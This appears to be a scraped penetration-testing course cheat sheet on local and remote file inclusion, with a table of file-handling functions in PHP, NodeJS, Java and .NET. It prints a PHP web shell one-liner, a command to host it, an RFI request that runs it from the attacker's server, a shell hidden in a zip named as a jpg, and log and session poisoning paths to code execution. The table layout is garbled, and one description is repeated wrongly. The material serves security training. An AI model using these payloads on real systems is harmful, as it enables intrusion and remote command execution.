File Inclusion Module Cheat Sheet
File Inclusion Module Cheat Sheet
CHEAT SHEET
Local File Inclusion
Command Description
Basic LFI
LFI Bypasses
Command Description
PHP Wrappers
RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server Host web
<LISTENING_PORT> shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id Include
remote PHP
web shell
LFI + Upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php Create
malicious
zip archive
'as jpg'
Command Description
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE
through
poisoned
PHP
session
/index.php?language=/var/log/apache2/access.log&cmd=id RCE
through
poisoned
PHP
session
Misc
Command Description
Command Description
LFI Wordlists
LFI-Jhaddix.txt
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
Function Read Content Execute Remote URL
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include